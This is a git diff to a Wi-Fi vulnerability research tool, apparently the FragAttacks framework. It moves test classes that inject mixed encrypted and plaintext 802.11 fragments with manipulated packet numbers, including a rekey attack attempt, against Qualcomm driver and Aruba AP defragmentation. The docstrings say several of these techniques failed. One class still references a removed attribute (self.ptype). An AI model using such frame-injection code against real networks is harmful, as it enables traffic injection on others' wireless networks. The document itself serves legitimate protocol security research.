diff --git a/research/fragattack.py b/research/fragattack.py index 9959c1db7..1400bdf43 100755 --- a/research/fragattack.py +++ b/research/fragattack.py @@ -5,6 +5,8 @@ import argparse from wpaspy import Ctrl from scapy.contrib.wpa_eapol import WPA_key +from tests_qca import * + # Ath9k_htc dongle notes: # - The ath9k_htc devices by default overwrite the injected sequence number. # However, this number is not incremented when the MoreFragments flag is set, @@ -359,148 +361,6 @@ class EapolMsduTest(Test): self.actions[1].frame = frames[0] -class QcaDriverTest(Test): - """ - Against the Aruba AP we cannot send a normal frame between two fragments. Reverse engineering - showed that the normal frame causes the fragment cache to be cleared. - - We can work around this by injecting the normal frame (e.g. an EAPOL frame we want to inject - in between fragments) as a fragmented frame as well. As a result, the fragment cache will not - be cleared. - - Although the above avoids the fragment cache from being cleared, the Aruba AP still may not - reassembly the fragments. This is because the second fragment may now hav a higher packet number - compared to the fragmented frames we injected in between (it seems no per-QoS replay counter - is being used by them). So we must assure packet numbers are higher than the previous frame(s) - NOT at the time of reception, but at the time of defragmentation (i.e. once all fragments arrived). - """ - def __init__(self, ptype): - super().__init__([Action(Action.Connected, Action.GetIp), - Action(Action.Connected, enc=True, inc_pn=2, delay=0.2), # 102 - Action(Action.Connected, enc=True, inc_pn=-2), # 100 - Action(Action.Connected, enc=True, inc_pn=1), # 101 - Action(Action.Connected, enc=True, inc_pn=2, delay=2)]) # 103 - self.ptype = ptype - self.check_fn = None - - def check(self, p): - if self.check_fn == None: - return False - return self.check_fn(p) - - def generate(self, station): - log(STATUS, "Generating QCA driver test", color="green") - - # Generate the header and payload - header1, request1, self.check_fn = generate_request(station, self.ptype, prior=2) - header2, request2, self.check_fn = generate_request(station, self.ptype, prior=4) - header1.SC = 10 << 4 - header2.SC = 20 << 4 - - # Generate all the individual (fragmented) frames - frames1 = create_fragments(header1, request1, 2) - frames2 = create_fragments(header2, request2, 2) - - self.actions[0].frame = frames1[0] - self.actions[1].frame = frames2[0] - self.actions[2].frame = frames2[1] - self.actions[3].frame = frames1[1] - - -class QcaTestSplit(Test): - """ - Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag, - and both forwarded when all fragments are collected. But when sending - [Encrypted, plaintext] and [plaintext, encrypted] the two encrypted fragments - are not reassembled. So we cannot this this trick. - """ - def __init__(self, ptype): - super().__init__([Action(Action.Connected, Action.GetIp), - Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext) - Action(Action.Connected, enc=True, inc_pn=5), # 105 - Action(Action.Connected, enc=True, inc_pn=-1), # 104 - Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext) - self.ptype = ptype - self.check_fn = None - - def check(self, p): - if self.check_fn == None: - return False - return self.check_fn(p) - - def generate(self, station): - log(STATUS, "Generating QCA driver test", color="green") - - # Generate the header and payload - header1, request1, self.check_fn = generate_request(station, self.ptype, prior=2) - header2, request2, self.check_fn = generate_request(station, self.ptype, prior=2) - header1.SC = 10 << 4 - header2.SC = 10 << 4 - - # Generate all the individual (fragmented) frames - frames1 = create_fragments(header1, request1 / Raw(b"1"), 2) - frames2 = create_fragments(header2, request2 / Raw(b"2"), 2) - - self.actions[0].frame = frames1[0] - self.actions[1].frame = frames2[1] # hopefully dropped - self.actions[2].frame = frames2[0] # hopefully dropped - self.actions[3].frame = frames1[1] - - self.actions[0].frame.TID = 2 - self.actions[1].frame.TID = 2 - self.actions[2].frame.TID = 2 - self.actions[3].frame.TID = 2 - - #self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff" - - -class QcaDriverRekey(Test): - def __init__(self, ptype): - super().__init__([Action(Action.Connected, Action.GetIp), # Get IP - Action(Action.Connected, Action.Rekey), # Wait for rekey - Action(Action.BeforeAuth, enc=True, inc_pn=2), # Inject first fragment ping - Action(Action.BeforeAuth, func=self.fragment_msg4), # Fragment Msg4 - Action(Action.BeforeAuth, enc=True, inc_pn=-2), # Inject first fragment Msg4 - Action(Action.BeforeAuth, enc=True, inc_pn=1), # Inject second fragment Msg4 - Action(Action.AfterAuth, enc=True, inc_pn=2)]) # Inject second fragment ping - self.ptype = ptype - self.check_fn = None - - def fragment_msg4(self, station, eapol): - header = station.get_header(prior=4) - header.SC = 10 << 4 - - payload = LLC()/SNAP()/eapol - - frags = create_fragments(header, payload, 2) - - # All Connected and BeforeAuth actions have been popped by now - self.actions[0].frame = frags[0] - self.actions[1].frame = frags[1] - - # Prevent Station code from sending the EAPOL frame - return True - - def check(self, p): - if self.check_fn == None: - return False - return self.check_fn(p) - - def generate(self, station): - log(STATUS, "Generating QCA driver test", color="green") - - # Generate the header and payload - header, request, self.check_fn = generate_request(station, self.ptype, prior=2) - header.SC = 20 << 4 - - # Generate all the individual (fragmented) frames - frames = create_fragments(header, request, 2) - - # All Connected actions have been popped by now - self.actions[0].frame = frames[0] - self.actions[4].frame = frames[1] - - # ----------------------------------- Abstract Station Class ----------------------------------- class Station(): @@ -761,11 +621,15 @@ class Station(): return result - def handle_authenticated(self): - """Called after completion of the 4-way handshake or similar""" + def update_keys(self): + log(STATUS, "Requesting keys from wpa_supplicant") self.tk = self.daemon.get_tk(self) self.gtk, self.gtk_idx = self.daemon.get_gtk() + def handle_authenticated(self): + """Called after completion of the 4-way handshake or similar""" + self.update_keys() + # Note that self.time_connect may get changed in perform_actions log(STATUS, "Action.AfterAuth", color="green") self.time_connected = time.time() + 1 @@ -1218,18 +1082,19 @@ def cleanup(): def prepare_tests(test_name): if test_name == "qca_test": - test = QcaDriverTest(REQ_ICMP) + test = QcaDriverTest() elif test_name == "qca_split": - test = QcaTestSplit(REQ_ICMP) + test = QcaTestSplit() elif test_name == "qca_rekey": - test = QcaDriverRekey(REQ_ICMP) + test = QcaDriverRekey() elif test_name == "ping": # Simple ping as sanity check - test = PingTest(REQ_ARP, - [Action(Action.Connected, enc=True)]) + test = PingTest(REQ_ICMP, + [Action(Action.Connected, action=Action.GetIp), + Action(Action.Connected, enc=True)]) elif test_name == "ping_frag": # Simple ping as sanity check diff --git a/research/tests_qca.py b/research/tests_qca.py new file mode 100644 index 000000000..ad03c63f2 --- /dev/null +++ b/research/tests_qca.py @@ -0,0 +1,198 @@ +from fragattack import * + +class QcaDriverTest(Test): + """ + Against the Aruba AP we cannot send a normal frame between two fragments. Reverse engineering + showed that the normal frame causes the fragment cache to be cleared on the AP, even before + the raw fragment(s) are forwarded to the controller. + + We tried to work around this by injecting the normal frame (e.g. an EAPOL frame we want to inject + in between fragments) as a fragmented frame as well. As a result, the fragment cache will not + be cleared. + + Although the above avoids the fragment cache from being cleared, the Aruba AP still may not + reassemble the fragments. This is because the second fragment may now have a higher packet number + compared to the fragmented frames we injected in between (it seems no per-QoS replay counter + is being used by them). So we must assure packet numbers are higher than the previous frame(s) + NOT at the time of reception, but at the time of defragmentation (i.e. once all fragments arrived). + + But even with all this, the big issue is that the AP will queue all frames untill all fragments + are collected. So the very first fragment we inject, will only arrive at the AP *after* the + other fragments. And that makes this technique fairly useless. We tried to work around this in + another way in QcaDriverSplit(). + """ + def __init__(self): + super().__init__([Action(Action.Connected, Action.GetIp), + Action(Action.Connected, enc=True, inc_pn=2, delay=0.2), # 102 + Action(Action.Connected, enc=True, inc_pn=-2), # 100 + Action(Action.Connected, enc=True, inc_pn=1), # 101 + Action(Action.Connected, enc=True, inc_pn=2, delay=2)]) # 103 + self.check_fn = None + + def check(self, p): + if self.check_fn == None: + return False + return self.check_fn(p) + + def generate(self, station): + log(STATUS, "Generating QCA driver test", color="green") + + # Generate the header and payload + header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) + header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=4) + header1.SC = 10 << 4 + header2.SC = 20 << 4 + + # Generate all the individual (fragmented) frames + frames1 = create_fragments(header1, request1, 2) + frames2 = create_fragments(header2, request2, 2) + + self.actions[0].frame = frames1[0] + self.actions[1].frame = frames2[0] + self.actions[2].frame = frames2[1] + self.actions[3].frame = frames1[1] + + +class QcaTestSplit(Test): + """ + Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag, + and both forwarded when all fragments are collected. So the idea is to send + one fragment in plaintext, and one encrypted, under the same sequence number. + This will cause ol_rx_reorder_store_frag to forward both fragments to the + controller that will perform the actual defragmentation. Essential remarks: + + - Sending [Encrypted, Plaintext] and [Plaintext, Encrypted] failed. It is + not clear why this is the case. + + - You must send [Plaintext, Encrypted2] and [Encrypted1, Plaintext]. Note that + we first inject Encrypted2, which has a *higher* packet number than Encrypted1. + Without adhering to this order, the fragments will not be reassembled. + + - The Packet Number of the frame injected in between the two fragment pairs + must be *lower* than the Packet Numbers of both Encrypted fragments. Otherwise + the fragments will not be reassembled. This means the fragmented frames are + processed after the full frame! So the first encrypted fragment does not + seem to be immediately decrypted... this is problematic for the rekey attack, + since it seems both fragments are only processed once they are both at the + controller as well. + + - This test currently requires manual verification in Wireshark to assure that + a reply is received to *BOTH* pings. + + - At the controller, two fragments with a different QoS TID will be reassembled. + So only the sequence number matters. This is in constrast with the AP where + the TID does influence the queue a fragment is put on. So the defragmentation + code (and the queue design) is different between the AP and controller. + """ + def __init__(self): + super().__init__([Action(Action.Connected, Action.GetIp), + Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext) + Action(Action.Connected, enc=True, inc_pn=5), # 105 + + Action(Action.Connected, enc=True, inc_pn=-2), # 103 + + Action(Action.Connected, enc=True, inc_pn=1), # 104 + Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext) + self.check_fn = None + + def check(self, p): + if self.check_fn == None: + return False + return self.check_fn(p) + + def generate(self, station): + log(STATUS, "Generating QCA driver test", color="green") + + # Generate the header and payload + header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) + header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2) + header1.SC = 10 << 4 + header2.SC = 10 << 4 + + # Generate all the individual (fragmented) frames + frames1 = create_fragments(header1, request1 / Raw(b"1"), 2) + frames2 = create_fragments(header2, request2 / Raw(b"2"), 2) + + self.actions[0].frame = frames1[0] + self.actions[1].frame = frames2[1] + self.actions[3].frame = frames2[0] + self.actions[4].frame = frames1[1] + + self.actions[0].frame.TID = 4 + self.actions[1].frame.TID = 4 + self.actions[3].frame.TID = 6 + self.actions[4].frame.TID = 6 + + # Frame to put in between them + if False: + self.actions[2].frame = station.get_header(seqnum=11, prior=4)/LLC()/SNAP()/IP() + else: + header, request, self.check_fn = generate_request(station, self.ptype, prior=2) + header.SC = 11 << 4 + self.actions[2].frame = header/request/Raw(b"3") + + #self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff" + + +class QcaDriverRekey(Test): + """ + This attack fails because of the reasons discussed in QcaDriverSplit(). + Summarized, the two fragments still seem to be queued by the controller, + meaning they are likely both still decrypted using the same (new) key. + """ + + def __init__(self): + super().__init__([Action(Action.Connected, Action.GetIp), + Action(Action.Connected, Action.Rekey), + + Action(Action.BeforeAuth, enc=False, delay=0.2), # | dropped b/c plaintext + Action(Action.BeforeAuth, enc=True, inc_pn=5), # 105 | first fragment of ping + + Action(Action.BeforeAuth, func=self.save_msg4), # | Save Msg4 so we control PN + Action(Action.BeforeAuth, enc=True, inc_pn=-2), # 103 | Msg4 + + Action(Action.BeforeAuth, func=self.get_key), # | We get the new key immediately + Action(Action.BeforeAuth, enc=True, inc_pn=1), # 104 | second fragment of ping + Action(Action.BeforeAuth, enc=False)]) # | dropped b plaintext + + self.check_fn = None + + def save_msg4(self, station, eapol): + header = station.get_header(prior=4) + header.SC = 11 << 4 + + payload = LLC()/SNAP()/eapol + + # Only the last BeforeAuth trigger is remaining + self.actions[0].frame = header/payload + + def get_key(self, station, eapol): + station.update_keys() + + # Prevent Station code from sending the EAPOL frame + return True + + def check(self, p): + if self.check_fn == None: + return False + return self.check_fn(p) + + def generate(self, station): + log(STATUS, "Generating QCA driver test", color="green") + + # Generate the header and payload + header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) + header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2) + header1.SC = 10 << 4 + header2.SC = 10 << 4 + + # Generate all the individual (fragmented) frames + frames1 = create_fragments(header1, request1 / Raw(b"1"), 2) + frames2 = create_fragments(header2, request2 / Raw(b"2"), 2) + + # All Connected actions have been popped by now + self.actions[0].frame = frames1[0] # hopefully dropped + self.actions[1].frame = frames2[1] + self.actions[5].frame = frames2[0] + self.actions[6].frame = frames1[1] # hopefully dropped +